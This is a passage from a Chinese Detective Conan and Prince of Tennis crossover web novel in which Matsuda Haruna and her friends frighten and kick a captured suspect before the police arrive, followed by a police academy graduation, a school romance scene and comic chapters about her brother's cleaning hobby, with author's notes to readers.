直到松田春奈戏谑地看了他一眼,他这才发觉,自己刚刚的那段发言简直堪比影视剧里的头号佞臣。 工藤新一:“” 坏了,狗腿子竟是我自己。 松田春奈:“那就速战速决。在警察来之前把事情解决掉就好了。” 工藤新一还想再努力一把,他壮着胆子劝解道:“学姐,我们普通人是没有权利这么处理嫌疑犯的,要是一旦处理不当,还会把自己也连累进去喝茶。” 松田春奈知道他是好意提醒,让自己不要越界。 但她只要一看到宫海一的这张脸,就会不自觉地联想到她曾经看到的卷宗。 那些年轻的,无辜的女孩,在察觉到有所不对的时候,已经竭尽所能,求助了所有她们认知里能帮助到自己的人,但最终还是没能拯救自己的生命。 她们明明是满怀希望地走进警局,却被当地黑警视若浮萍,轻飘飘地无视掉了。 花儿还未绽放,却已零落凋谢。 只要一想到这儿,她就无法保持平静。 怒火裹挟着情绪,如同湍急汹涌的瀑布,瞬时将她淹没其中。 “工藤君,你不是个侦探吗?”松田春奈问道,“那你能看出来,这个家伙手上有几条人命吗?” 没等工藤新一开口,她又自顾自地继续说下去,像是根本没打算听到他的回复一样。 “我看过这件案子的卷宗,死亡的女性有五名,失踪的女性有八名,这还没算上曾经那些被他侵犯受伤的人” “他的罪行可以说得上是罄竹难书,直接拉出去枪毙也不为过。但你说,他最后真的会被判死刑吗?” 说到这里,松田春奈的嘴角勾起了一抹讽刺的笑,眼底的神色让人看不清楚:“——在他的祖父是如今法务大臣左膀右臂的情况下。” 工藤新一的嘴巴张了又合,合了又张:“可是,学姐你要是开枪的话——” “拜托,工藤君。”松田春奈翻个白眼,“你觉得我傻吗?” 工藤新一老实地摇摇头。 他觉得现在最傻的就是他自己。 “那不就得了。”松田春奈把枪从宫海一的脑门上收回来,他额头上的圆形枪口痕迹以肉眼可见的速度变红肿,“我又不傻,就算真打算开枪灭口,也不会当着你们一堆人的面去做这种事。怎么着也得找个僻静无人的——” 工藤新一大声咳嗽几下,及时打断了她的危险发言。仿佛想通了似的,他没再说出什么阻止的话来。 算了,他不管了。工藤新一想道。 生死由命,富贵在天。反正警察都快来了,学姐就算“处理”宫海一,也“处理”不了多久。 就当是给这家伙做点进局子前的心理和生理上的双重准备好了。 松田春奈自言自语道:“从哪里下手弄醒他比较好呢?” 迹部景吾自告奋勇道:“我可以再给他一球,保证指哪打哪。” 松田春奈看向毛利兰和铃木园子,友好问道:“学妹,你们想试试吗?” 这两位小姑娘一看就没碰到过这种事,刚刚被吓了这么一通,胆子但凡小点,估计都得做好久的噩梦。 倒不如借此机会,让她们自己把这个可怕的幻象打破。 等发现这股恶势力不过都是纸老虎的时候,说不定就能睡个安稳觉了。 毛利兰从小就受着当过刑警的爸爸,和当刑事律师的妈妈的各种案件熏陶,心理承受能力极高。 她扶着铃木园子站起来,问道:“园子,你先还是我先?” 工藤新一凑过去小声提醒:“兰。叔叔之前是警察,阿姨还是现役律师,你注意一下” 毛利兰道:“新一,你放心。我都懂。” 工藤新一放下心来,她懂就好。 毛利兰继续道:“我会好好像学姐学习,努力不留下印记,不给大家惹麻烦的。” 工藤新一:“” 哈哈。莫名感觉自己以后的生活,过得要更苦逼了是怎么回事 铃木园子咽了口唾沫,勉强开了个玩笑:“还是我先吧。我怕小兰你动完手之后,就没有我的用武之地了。” 她看着松田春奈鼓励的眼神,壮着胆子走过去。 然而就算做好了充足的心理准备,当她看到宫海一邪佞的正脸时,还是情不自禁地抖了一下身体。 松田春奈握住她的手,像是徒手抓住了冬天屋檐下的冰棱,刺骨冻人。 她用力地搓着她的双手,努力地将自身的温度传递过去:“别怕。他被绑得很严实,身上也没有多余的武器。要不要从背后踹他一脚解解气?” 铃木园子渐渐缓过劲来,狠狠地点了点头。 三秒过后—— “砰!” 只听到沉重的一声响,宫海一整个人正面朝下,冲着坚硬的地面狠狠地摔了过去。脏兮兮的地上瞬间扬起了一层灰尘,在空中到处飘扬。 只见宫海一满脸是灰,两道鼻血和着泪水顺着脸颊两侧缓缓流下来,整个人看起来脏兮兮的。 他迷茫地睁开双眼,疼痛瞬间像电流一样蔓延至全身。等了好一会儿,他才觉得自己的眼睛对上了焦,听觉等器官终于开始发挥它们的作用。 在用尽全身力气给了这么一脚之后,铃木园子看着宫海一的惨状,跃跃欲试道:“要不,我再给他来一脚?” 工藤新一:“” 他惨不忍睹地闭上双眼,默默催眠自己,大家此刻都是一条贼船上的人。 宫海一缓过神来后,发现自己在这群人的口中,俨然成为了待宰被分的猪肉,每个人都想在他身上动上几手。 他激动道:“住手!!你们快给我住手!我看谁敢?!我爷爷可是宫久藏——” 松田春奈听得不耐烦了,顺手把原本放好的枪又拿了出来。 当宫海一的双眼和黑洞洞的枪口处于同一个水平线上时,他如同一只被开水烫毛的公鸡,整个人陷入了一股诡异的安静。而后,又迸发出强烈的求生欲望。 他终于怕了起来:“你!你不能这么对我!我死了对你也没有好处!我有钱,有很多很多的钱!你想要什么我都能给你!” 松田春奈不为所动,缓缓地将食指扣住扳机:“那如果我就想要你死呢?” 宫海一眼看着她逐渐弯下去的食指,脸色变得苍白如纸,抖如筛糠。求生欲让他在地上像软体动物一样滚来滚去,试图去躲避她即将射出的子弹:“啊啊啊,救命!!!杀人了!!” “你之前在九鸟县作威作福的时候,一定觉得自己无所不能吧。”松田春奈如同索命的黑白无常一样,冷静地看着他在地上丑态百出的样子,“你在虐杀那些年轻女性的时候,有想过自己有朝一日也会落到这般田吗?” 宫海一吓得涕泗横流,整个人的精神状态十分恍惚,根本理解不了她话中的意思,只是一个劲地在求她高抬贵手,放自己一条生路。 松田春奈懒得再和他废话,一脚将他踹倒,狠狠地踩在他的腹部,抬枪对准他,摁下了扳机—— 一个纸团以极快的速度,径直从枪口处飞出,正中宫海一的要害位置。 宫海一在听见枪响的刹那,就已经被吓得动弹不得。呆若木鸡地愣在原地,浑身哆嗦,活像条濒临缺氧的鱼。 纸团从宫海一的眉心处滑落,弹跳了几下,最终落到了地上。 工藤新一被松田春奈的突然之举狠狠地吓了一大跳。原本飞扑过来的动作,也在看到纸团的瞬间,硬生生地在半路上戛然而止了。 他抹了抹额头上的汗,捂着胸口瘫坐在地上,喘着粗气道:“松田学姐,你吓唬嫌疑人没关系,但以后能先提前告诉自己人一声吗?我的心脏病都快被你吓出来了。” 说话间,器械室里突然传来一阵“滴答滴答”的水声。紧接着,一股异味也渐渐在室内弥漫开来 松田春奈看着被吓到失禁的宫海一,嗤笑一声,说道:“看来我得提前提醒一下警察,让他们来的时候别忘了给你带上换洗衣物。” 宫海一觉得此刻的自己如同一个废人。 他木然地感受着自己身体下方的潮意,努力缩成一团,再没有了刚刚的嚣张。 工藤新一已经开始用敬仰的眼光看迹部景吾了。 他原本以为自己喜欢的人咳咳就已经够厉害的了。 没想到,强中自有强中手。 竟然有人可以在“摧毁”着他人肉体的同时,还一并“摧毁”着他人的精神。 铃木园子看着之前还公然叫嚣,毫不服软的人,转眼间就变成了如此地步,内心对于他的惧怕也如同地板上扬起的灰尘,在阳光的照耀下,转瞬即逝了。 * 当松田阵平他们终于抵达现场时,见到的就是这样的场景—— 只见宫海一被绑得结结实实,整个人的状态仿佛像死后被超度了一样,灵魂好似已经飘到了其他世界。 在看到他们的瞬间,他的眼神像是骤然亮起的高瓦灯泡,迸发出让人难以理解的热情。就像看到了救命恩人一样,挣扎着要向他们这里挪动。 然而此刻松田阵平的眼里却只能看到松田春奈一个人。打从他知道宫海一携枪来到冰帝之后,他的心就一直悬在嗓子眼。 就算萩原研二在主驾的位置上一路飙到了最高码,他还是不停地催促着让他再开快点。 松田阵平直接无视了瘫在地上眼巴巴望着他的宫海一,一个箭步冲到松田春奈身旁,像警犬一样绕着她转了三圈:“没事就好,没事就好。” “嘿,这小子的态度变得还挺快的。”萩原研二摸着下巴,看着宫海一望过来的目光说道,“现在看见咱们就跟见着救星一样。” 降古零神色复杂:“你看看他的下半身。” 萩原研二定睛望去,第一眼还以为是自己看错了。 他咋舌道:“好家伙,他这是失禁了?” 前辈显然是见多识广。 他对宫海一的现状视若无睹,挥挥手让人直接给他戴上手铐。 宫海一自认为等来了救星,呼哧着发声:“我要报警!我要报警!” “她虐待我!刚刚还拿枪要杀我——” 松田春奈淡定道:“可你不是患有重度精神分裂症吗?” 听到这句意味深长的话,宫海一顿时噤声了。 大家都是聪明人,他当然知道她的潜台词。 之前他就是凭着家人给他弄的这个病人身份,光明正大地躲过了不少次刑罚。要是一旦失去这个庇护,数罪并罚之后,他的后果不难预料。 宫海一咬着牙把未尽的话咽到肚子里,整个人被气得直哆嗦,像一脚踩到了电门。 在听了宫海一的控诉之后,前辈什么也没说,只是默默地把手伸出来,问道:“枪呢?” 松田春奈眨眨眼,把枪双手递了过去,乖巧道:“手枪的保险已经被我关上了。” 前辈检查了一遍,没发现什么问题,把枪直接别在了腰间。 诸伏景光看着眼前的这幕,感叹道:“零,你没说错。春奈真是天生的警察苗子。上能应付领导,下能对付罪犯。” 降古零反倒纠结起来:“我怎么觉得春奈以后要是真成了警察,日后收到的投诉说不定比松田还要多。” 诸伏景光轻松道:“想开点,这又何尝不是一种家学渊源呢。” 降古零没好气地瞥了他一眼:“被投诉之后,你帮她写报告啊?” 前辈轻咳一声,警校组立刻闭麦。 为了警车着想,他大手一挥,让几人围成一圈,就地给宫海一换条裤子再走。 松田春奈几人则到走廊处候着,待会儿跟着大部队一起去警视厅做笔录。 前辈对她的印象很是不错,主动搭话道:“松田妹妹,你其实很有当警察的潜质,以后考不考虑来警校?” 工藤新一闻言,情不自禁地瞪大双眼,表情管理完全失败。 他发誓他绝不是故意偷听别人讲话的,但谁让这里地方就这么大,而且还这么安静,想装听不见都难。 怎么说呢。 以这位学姐的性格来讲,她以后去当警察也算是弃暗投明了。 他在这里,先提前为那些以后被她抓到的犯人们默哀一声。 阿门。 松田春奈这回没有把这个提议一口回绝。 前辈也没有要她当场就给出个说法,说完那句话后,他就溜达到另一边去了。 一直等她到警视厅做完笔录,她还在考虑这个建议。 松田阵平写完自己那份报告之后,忙里偷闲地出来找妹妹。他看着她坐在外面的长椅上,右手托脸做沉思状,于是凑过去碰碰她的肩膀:“事情都解决了,你还在纠结什么?” “没想什么。”松田春奈摇摇头,“你说,我以后去当警察怎么样?” 松田阵平一脸震惊,眉毛简直要跳到天上去:“你疯了?” “ 你自己都上了警校,而且马上都快要毕业了。怎么相同的职业落到我身上,就变成我疯了?”松田春奈无语道。 “可你不是一直想做钱多事少的工作吗?”松田阵平像是看见了迷途的羔羊,耐心劝解道,“警察这个活可和你的要求一点也不沾边!” 自己从小看到大的妹妹,她眼珠子一转,他就知道她下一步想干什么。眼看着她好像真的要铁了心往这条路走了,松田阵平慌了,他抓抓头发:“你想当警察也行,只要能说出来当警察的三个优点,我就支持你!” 松田春奈:“” 松田春奈:“你能说出来吗?” 松田阵平连磕巴也没打,振声道:“不能!” “那你还问我?” “我这不是怕你一时冲动,误入歧途吗。” 松田春奈笑笑,轻声说道:“哥哥,我刚刚在想。如果九鸟县的警察早点破了这个案子,或者我当时看卷宗的时候再认真一点,是不是就不会有那么多无辜的年轻女孩丧命了。” 她说着说着,眼眶泛起了一层薄雾,如同细密的雨。 “春奈!你已经做得足够好了。”松田阵平紧紧得抓住她的手臂,满脸认真地看着她,“在嫌疑犯带着热武器进入人流量密集场所的前提下,你们不但把他控制住了,还没有造成任何伤亡,也没有引起任何社会恐慌,这简直就是一个不可思议的奇迹!” “所以,不要再过度责怪自己了。” 松田春奈倚靠在他的怀中,泪水簌簌地滴落在他的肩膀处,把他的衣服洇湿了一大片,随便一攥都能拧出水来。 松田阵平很久没有见过她哭得这么伤心,手忙脚乱地安慰道:“别哭了别哭了,我答应你,我支持你还不行吗?你以后一定会成为全国最优秀的警察,你的英勇事迹会在东京电视台来回播放” “凭你的能力,警校毕业以后,肯定能一年内升警部,三年内升警视正,十年之内成为最年轻的警视总监。” “到时候不但有人为你的传奇经历著书立传,还会有人把你的故事拍成电影流传百世。” 松田阵平暗恨自己不会说话,此刻无比羡慕萩原研二那张能说会道的嘴。俏皮话来来回回说了一大堆之后,他才慢慢感觉自己肩膀处的天气由大雨转为了多云。 痛痛快快地哭了一场后,松田春奈反而觉得舒服了不少。 看着她郁气一扫而空,他这才停下得吧个不停的嘴,顿时觉得口干舌燥。 迹部景吾排队做完笔录后,先绕道去买了两瓶水,才去外面找人。 松田阵平看着他在大厅里转悠,立刻在外面朝他挥舞双臂,第一次对他笑脸相迎:“迹部君,在这边!” 迹部景吾看着他嘴上爆开的干皮,迟疑着把水递了过去。 松田阵平毫不见外,仰头直接“囤囤囤”地干了一瓶,然后一擦下巴,轻松道:“我还得过去继续补报告,你们做完笔录就赶紧回去吧。” 松田阵平溜得飞快,哄妹妹什么的,可比写报告难多了。 这种活动他就不参加了,还是交给迹部这种专业人士为好。 “警校的制服该改良一下了。”迹部景吾看着她被磨得红彤彤的眼睑说道,“想做什么?去骑马还是买东西?” 松田春奈刚哭完,鼻音还有点重:“请问这两者的关联在哪?” “关联就在——我心情不好的时候喜欢去骑马;而我的母亲则喜欢去购物。”迹部景吾一本正经地答道。 大哭一场过后,她只觉得做什么都耗费体力:“我现在既不想骑马,也不想购物。” “我的书包还在学校。”松田春奈从长椅上站起来,揉揉太阳xue,“我只想赶紧回去,拿上东西立马回家。” 迹部景吾自然毫无异议。 他们下午折腾了一大通,等到再从警视厅坐车回到冰帝的时候,早已过了放学时间,校园里除了巡逻的保安外,空无一人。 松田春奈感觉自己今天情绪起伏过大,虽然没有做太多的体力训练,但还是疲惫的很。走路的时候,腿都有些迈不开。 迹部景吾:“要不你在门卫这里等我,我回班给你拿过来。” 松田春奈:“来都来了,也不差这几步路了。” 迹部景吾看着她发颤的小腿,叹了口气:“那你站在这里别动。” 松田春奈:“?” 没等她反应过来,迹部景吾已经一把将她公主抱了起来。 他的右手握住她的肩头,左手则放在她的腿弯处,温柔地托住她。 松田春奈的裙子其实不算短,是最为优等生乖乖女的长度,平日里行走的时候,正好能露出圆润的膝盖。 现在这么被他一抱,裙子立时向上跑了几公分。迹部景吾目不斜视,像个久经考验的战士。 他自然道:“既然没有几步路了,那我抱着你过去也一样。” 太阳渐渐下山了,余晖落在他的发丝上,给他镀了一层柔光。 拥着她的臂膀宽阔有力,松田春奈觉得自己像是变成了一个贝壳,在柔波碧浪中随风荡漾。 她顺从地靠在迹部的胸膛上,双手搂着他的脖子,闭眼小憩着。 最近日头转暖,为了参加今天下午的活动,松田春奈特意换了身夏季校服。被晚风这么一吹,她又觉出几分冷来,整个人蜷成一团。 迹部景吾把西装扣解开,宽大的衣服一下子就把她包裹其中。两人之间只隔了一层薄薄的衣物。 到最后,松田春奈也不知道捂热她的,到底是两人共用的制服;还是他近在咫尺的,愈来愈旺的体温。 “咳到了。”迹部景吾清了清嗓子,示意她搂紧自己别放手。然后单手抱着她,把教室的门拧开了。 松田春奈看他还没有放自己下来的意思,轻轻挠了一下他的脖颈:“可以把我放下来了。” 迹部景吾被她突兀的举动吓了一跳,双手猛地一缩。原本他尽量浮空,避免和女孩肢体接触的大手,突然陷入了一片温香软玉之中。 松田春奈“呀”了一声:“轻点,你弄疼我了。” 迹部景吾低着头闷不做声,快步走到两人的座位处,把她放下来,转身去把教室的灯打开。 “对不住,我刚刚走神了。”他小心翼翼地蹲在她的腿边,“不会留下印子吧。” 松田春奈:“只是稍微有点红,应该没什么事。” 迹部景吾:“我去拿药膏。” 好在教室里一直常备药箱,里面会定期地增添药品。 松田春奈三下两下地收拾完书包后,拿过药膏。 迹部景吾非常自觉,没等她开口,就转过身去,背对着她:“你擦好了叫我。” 松田春奈对他的人品十分信得过。 她将裙摆拉高,盖子拧下来,仔细地打着圈上药。 药膏的味道慢慢弥漫开来,带着股青草的芳香。迹部景吾感觉自己现在有点奇怪,如同一个刚化形的野兽,努力用人类社会的规则来压抑内心深处最原始的渴望。 没过多久,背后细细簌簌的声音停了下来,迹部景吾终于松了口气:“走吧,我送你回家。” 松田春奈看着他一副功成身退的样子,好像把今天在办公室的事情都忘了:“可我还欠你一样东西没还。” 迹部景吾刚刚一直在暗自唾弃自己不听指挥,胡乱发散思维的大脑。以至于现在整个人还有些懵:“你说什么?” 太阳终于全部落山了,晚风柔柔地吹进来,让人心发痒。 轻薄透气的窗帘随风飘荡。先是“哗啦”一下飞出窗外,而后又柔柔地拂过他们的桌面,来回荡漾。 松田春奈把他拽进身后的窗帘里。 灯光打在上面,影影绰绰地模糊成了一片,让人看不真切。 风声里渐渐夹杂了一些细碎的水声。 松田春奈抵住他的肩膀,喘息着:“好了,上午欠你的现在还上了。” 迹部景吾的嘴唇上还有未干的水渍,大资本家的本性在此刻彰显无遗。 他觉得自己像是在沙漠中缺水的游客,急需更多甘露的滋润。 他凑上去,未尽的话语淹没在两人的唇间:“现在开始是利息时间。” 年轻的男女刚刚得知亲吻的乐趣,难免有些食髓知味。 大资本家的利息收了一茬又一茬。 松田春奈懒洋洋地坐在桌子上,莹白的小腿来回晃动,肯定道:“我以后会成为全国最棒的警察。” 迹部景吾从不怀疑她的能力,并且爱极了她这副毫不遮掩的野心。 虽然教室的灯被他关掉了,但他还是能清楚得看到,她眼神里折射出来的自信光芒。 亮晶晶的。 如同女王加冕时佩戴的皇冠。 他抬起她的右手,虔诚地在她的手背上轻轻一吻—— “Yes,your majesty。” 作者有话说: 不好意思大家,最近三次元很忙,六月一日才能恢复更新。感谢在2024-04-10 23:50:17~2024-05-10 22:27:43期间为我投出霸王票或灌溉营养液的小天使哦~ 感谢投出地雷的小天使:轩缘琉璃1个; 感谢灌溉营养液的小天使:何先生是光吖50瓶;⊙ _ ⊙ 40瓶;努力站桩的奶酪Zh 6瓶;又要减肥的业子5瓶;笶迩1瓶; 非常感谢大家对我的支持,我会继续努力的! 第47章 随着宫海一被东京警方关押收监,这件长达月余的跟踪事件也终于彻底落下了帷幕。 不知道是不是否极泰来的原因,在这之后,松田春奈的高一生活过得极其平顺,再没有什么奇奇怪怪的事情发生。 她每天除了忙于学业,就是按时去警校打卡报到,接受警校组私下的开小灶行为。 活得比钟表还规律。 人生越是平淡无波,其时间的流速就越是飞快。 仿佛是被按了加速键一样。 一晃眼,她已经置身于警校的礼堂里,参加松田阵平和他小伙伴们的毕业典礼了。 台上的学生代表还是一成不变的降谷零。 他穿着笔挺的深蓝色制服,胸前金黄色的穗穗和他的发色相得益彰,衬得他整个人意气风发。 松田春奈在他登台的时候,就眼疾手快地按下了录像键。她在录的时候,余光发现周围的许多家属也跟她一样,开始纷纷拿起手机拍照。 细细簌簌的声音不绝于耳。 “哇,是黑皮!还是金发!” “真的好帅!宽肩就是最棒的!我爱双开门!” “嘶——腿真的好长。好想当他的腿部挂件。” “完蛋,我要流鼻血了” 恍惚间,她感觉自己仿佛不是来参加警校毕业典礼的,而是在演唱会上给自家idol录直拍。 好在降谷零的发言并不长,松田春奈举着手机的手还没觉得酸,他就已经鞠躬退场了。 松田妈妈凑过来,和她小声锐评道:“警校的小伙子身板是真不错。” 松田爸爸像是吃了柠檬:“我就知道你还想着当年追过你的那个警察” 松田妈妈很无奈:“你这都哪儿跟哪儿啊。” 学生代表发言过后,便是漫无止境的领导发言。 别看这些领导颜值和身材打不过降谷零,但是他们发言稿的长度却是他的好几倍。 领导们一个接一个地上去讲话,就像秋天的韭菜,一茬又一茬,割也割不完。 座位上的家属们开始渐渐坐不大住了,有些坐在后排的人,干脆偷偷起身去外面透气。 就在松田春奈马上要忍不住的时候,终于听到了那句悦耳的“本届毕业典礼到此结束”。 她顿时化身为扑火的飞蛾,连警校组也不想等,和父母一起加快脚步先行离开。 在室内呆久了,当她走出礼堂,看到室外明媚阳光的时候,竟有种恍然隔世的感觉。 松田阵平拽着小伙伴向他们跑了过来,抱怨道:“爸妈还有春奈,你们走得也太快了,我在后面叫你们好几声,你们也没听见。” 看着他们手里的结业证书,松田春奈转移话题道:“正好你们都穿着制服,我给你们在校门口拍张合照吧。” 校园里人来人往,大家的脸上都带着喜庆的笑意。空气中充斥着对未来的期望,每个人看起来都是一副神采飞扬的姿态。 松田春奈:“今天那位警视总监上去发言的时候,我还担心你会不会上去揍人家一顿来着。” “你怎么也这么想?”松田阵平无语道,“拜托,我又不是小孩子了。” “再说,之前那位东京警视总监已经因为受贿数额巨大,主动离职了。下一任目前还没选出来,现在这位只是暂代一下。” 松田春奈点头:“原来是这样,其实我看他还蛮顺眼的。” “为什么这么说?” “起码他没有大腹便便,身材在那些发言的领导里算是最好的。” “ ” “不是”松田阵平气笑了,轻轻地给了她一板栗,“你来这儿是看什么来了?” 松田春奈的目光很诚实地给了他答案。 松田阵平扶额:“算了,随便你。别让你男朋友知道就行。他看起来就像个醋坛子。” “虽然哥你可能不愿意承认,但你真是很了解景吾啊。” 几人在校门口举着证书,嘻嘻哈哈地照了一张合照。而后松田春奈积极担任照相师傅这一角色,给警校组的小伙伴和他们的家属拍了不少照片。 等到大家各自离去,松田春奈看着新鲜出炉的照片感叹道:“时间过得可真快,当初我给你和研二哥拍入学照的时候,可没想到你能交到这么多朋友。” “我在你心目中的形象到底是什么样,请问你能告诉我吗?”松田阵平磨牙。 松田春奈默默看着手机不说话,企图萌混过关:“我的那位室友姐姐在哪,我要和英姿飒爽的大姐姐拍合照!” 松田阵平口嫌体正直:“你都在心里这么腹诽我了,鬼才带你过去找人。” 两人饶了一圈才找到在操场上大笑摆pose的石田百合。 松田春奈对着眼前的制服御姐上下其手,笑得一脸满足:“姐姐的腹肌隔着一层衣服也能摸出来,好厉害!” 松田阵平觉得她这副样子有些过于给他丢人了,蹲下身子按了几下快门之后,赶紧把她拎到自己身旁看着:“石田,以后要是在路上巡逻碰到我妹的时候,拜托” 石田百合条件反射般地接下去:“放心,以后巡逻的时候,我肯定会去冰帝那儿转一圈的。保证咱妹的安全无虞。” 松田阵平和她一碰拳:“谢了。” 说完,他接着又带她去和别的同期打招呼。 都是同样的中心诉求,在他忙碌的时候,拜托各位可以多帮忙照看一下自己的小妹妹。 松田春奈像个吉祥物一样,被他带着和各位同期说话。 她知道哥哥的好意。 自从宫海一那件事之后,虽然他明面上不说,但私下里却仿佛有了PTSD,总觉得有人要对她图谋不轨。 除此之外,他对她的人身安全比之以前更加重视了。接送自是不提,每次给她加训的时候,下手也都毫不留情。急切地想让她赶紧变强,最好下一秒就变成哥斯拉,任谁也欺负不了她。 在他中场休息,到处找同期的时候,松田春奈拽住他的衣角:“哥哥,我可以保护好自己的” 松田阵平对此充耳不闻,不达目的不罢休。 一旦当他发现了目标人物,直接顺手就拉着她走过去,继续新一轮的托付。 松田春奈彻底放弃劝说,乖乖地在他身边扮演一个甜妹。该摆笑脸摆笑脸,该装腼腆装腼腆。一路下来也累得不行,面部肌肉僵硬得很。 松田阵平的人缘还算不错,等他打完一圈招呼下来,嗓子也变得微微沙哑起来:“好了,你还想和谁拍照,我再带你过去。” 松田春奈低头不说话,脚尖摩擦着地面:“ 我还想和你拍。” 松田阵平沉默了一秒,然后又笑起来:“好啊,今天就剩咱们俩还没照过了。” 路人的拍照水平只能说中规中矩,但耐不住两人的颜值实在是太高了,把这种普通的合照也衬得像是精心打磨的艺术照一样。 高大英俊的制服青年笑意盈满双眼,身体微微向女孩的位置倾斜。女孩的身高只到青年的肩膀,被他轻轻揽在怀里,保护欲一览无余。两人如出一辙的黑发卷毛和猫眼瞳色,有种奇特的画面均衡感。 “哥哥,你要好好的。”松田春奈看着照片说道。 校园里太热闹了,大家说笑的声音此起彼伏,松田阵平一时没有听清,凑近问道:“春奈,你说什么?” “我说!”松田春奈鼓起勇气,不顾来往的人群,看着他大声地说道,“哥哥你要照顾好自己,千万不要受伤!” 松田阵平轻笑,揉揉她的脑袋。 “别揉啦!你到底听见没有!” “你说得那么大声,全校都能听见。” “那你能做到吗?” “当然能。” 大不了以后受伤的时候,不被她知道就行了。今天光是带着她去拜托同期照顾,她都会眼眶发红,就更别提以后受伤的事了。 松田阵平歇够了:“你还想拍照吗?不想拍了咱们就回家。” “如果我说,我还想和那位代理警视总监合照的话——” “你该回家了。” 作者有话说: 对不起大家,迟到了一天。太久没写了,手感有点生。写了删,删了写,半天只码了一点点感谢在2024-05-10 22:27:44~2024-06-02 09:50:53期间为我投出霸王票或灌溉营养液的小天使哦~ 感谢投出地雷的小天使:讨厌番茄酱1个; 感谢灌溉营养液的小天使:未鱼20瓶;狸花不是梨花10瓶;讨厌番茄酱5瓶;眠北、七1瓶; 非常感谢大家对我的支持,我会继续努力的! 第48章 自从松田阵平顺利毕业,并选择加入到第一课机动队爆炸物处理班之后,几乎就再也抽不出时间去接送松田春奈了。 他不止一次地在心里庆幸,自己当初在毕业典礼上带着松田春奈去拜托同期的举动,绝对堪称他生命里最明智的事情,没有之一。 以前他单纯地以为,只有像是前辈那样的一线刑警才要写那么多的文件报告。万万没想到,他们爆炸物处理班要写的东西也少不到哪去。 就连爆竹,烟花这样的易燃物也在他们的日常排查范围之内。 松田阵平发自内心地认为,自己一定是被忽悠了。 明明当初上学的时候,那些给他们讲爆炸原理的老师,也没说这个警种以后还有这种任务啊! 萩原研二满头大汗地瘫坐在警用训练室里,右手哆哆嗦嗦了半天,才把头盔给摘下来。 他狠狠地吐了口气,说道:“你这周是不是又不能去接春奈了?” 松田阵平的状态比他好不到哪里去,整个人浑身湿漉漉的,像是被水浸泡过三天三夜一样:“没事,我有线报。” “也是。”萩原研二揉了揉太阳xue,努力让脑子清明一点,“今天是不是石田出巡逻任务?” 松田阵平“嗯”了一声,低头看着手机上刚刚传过来的照片:“石田已经把春奈送回家了。” 警用的训练室比学校的那间宽敞许多。 两个人刚刚的交谈消耗了身体里仅剩的一丝力气,只能默默坐在原地休息补蓝,喘气声渐渐从一秒两次,慢慢恢复到正常偏快的速率。 “萩,你再给我往上加一个档,我再试试。”松田阵平感觉自己心跳逐渐平稳之后,站起来活动了一下手腕说道。 萩原研二玩笑道:“小阵平,身体才是本钱,你可千万悠着点。” “没办法。”松田阵平甩甩汗水,把头盔戴上,声音也显得有些闷闷得,“我现在就想着尽快立功,这样才能破格升职。我的要求也不高,职位只要比现在再高两级就行。” 萩原研二调侃道:“欸——小阵平,你堕落了。目标已经从警视总监变成警视了吗?” “一口气也吃不成个胖子。”松田阵平舔了舔嘴角,“警视起码时间上能比现在自由许多,总不能一直让石田他们帮我接送春奈吧。” “说得也是。”萩原研二叹口气,然后起身和他一起继续加训,“你这么一说,我还忽然有点怀念当初咱们在警校的日子。” 谁说不是呢?松田阵平有些郁闷。 以前上警校的时候,为了周五能去接松田春奈回家,他还翘过几次无伤大雅的水课。 看在大家一起同过窗,外加一起扛过枪的份上,同期之间还会相互帮忙打个掩护。就连老师偶尔也会看在他优异的成绩的份上,干脆睁一只眼闭一只眼。 如果实在不幸被抓到的话,大不了就去扫厕所。反正这活,他和他的小伙伴们都熟。 这么说吧。 他们那届的厕所卫生,他们五个人几乎承包了一半的工作量,凭空给保洁阿姨减负了。 导致每次保洁阿姨在校园里看见他们都很开心 其实,五人组本来在各自家里也承担着大部分的清扫工作,只不过大家对于“干净”的标准有所不同,所以干得活可能也各有粗细。 在他们被罚去扫厕所,且被教官第二次检查后仍判定为不合格的时候,保洁阿姨忍不住指点道:“镜子最好用酒精擦一遍,这样更干净。” 松田阵平抓起喷壶往镜子上喷了个遍,然后拿起抹布就要擦。 “哎哎等一下。”保洁阿姨热心地指了指旁边墙壁上挂着的小刮板,“用这个刮,保证你们教官再也没法挑你们的刺。” 松田阵平照做之后,感觉打开了新世界的大门。 怪不得教官检查的时候对他们满脸嫌弃,嘴里的训斥就没停下过。眉间的皱纹甚至都能藏进去10枚500门硬币,而不被小偷发现。 警校组几人对视一眼,大家脑袋上的天线瞬间连接在一起,开始心有灵犀地围着保洁阿姨你一言我一语起来。 大家心里跟明镜似的。就凭着他们的“惹祸”能力,在校期间肯定会有数不尽的扫厕所机会。赶紧趁着现在跟前辈取取经,也好给以后的自己铺条路。 “老师,请问洗手台这里的锈迹” “欸——牙膏竟然也能用来清洁吗?” “怪不得,原来这里要用洁厕灵才行” 有了这次的深入交流,警校组之后再被罚扫厕所,总是一次就能验收过关。 鬼冢教官的眉头皱得更紧了,凶神恶煞道:“你们现在扫厕所扫上瘾了是吧?一天不给我惹祸就难受?” 松田阵平嘿嘿一笑。 说来也怪,自从开始被罚扫厕所之后,他渐渐对打扫一事热衷起来。态度也从原来的单纯完成任务,变成了会主动给自己揽活。 看着原本脏污的死角,在洗刷之下变得干净整洁,能让他心里产生极大的满足感。 甚至只比每次在课上成功拆弹的感觉差一点点。 可以这么说,他现在的动手能力——尤指厕所的清扫能力已臻化境。 具体表现在他们家现在的厕所都是他来刷,不然他总觉得不够干净 找到新爱好的松田阵平开始大肆往家里购入各种清洁用品,放假回家时总会乐此不疲地干得热火朝天。 清洁工具哪家好用,污渍怎么去除等小妙招都牢记在心。 松田阵平总觉得,如果他以后不干警察这行了,转行去干保洁也不是不行。 好歹他也算有点经验。 广告语他都想好了——警校认证的保洁能力,民众值得信赖。 松田阵平终于苦中作乐地做完了最后一组加训,打算趁着天还没黑透,再顺道去超市逛一圈,买点刚上市的新款洗洁精。 松田春奈此时已经顺利升入高二,仍然稳坐年级第一的宝座。 看到哥哥大包小包地拎着东西回家,她好奇地凑过去看热闹。当看到里面又是不同的清洁用品时候,她无语道:“哥,咱们家的洗洁精还有两瓶没拆封,你怎么又买了新的!” “这款据说可以洗菜。” “那你会用它洗吗?” “当然不会!” “?那你买它干嘛?” “这款是樱桃味的,你不是喜欢吃樱桃吗?” 松田春奈:“” 松田春奈:“我是喜欢吃樱桃,又不是喜欢吃樱桃味的锅碗瓢盆。” 松田阵平“嗯嗯啊啊”地回应着:“那不都一样。” 松田春奈看着他一副走火入魔的样子,也懒得和他较真,转身回去继续写作业了。 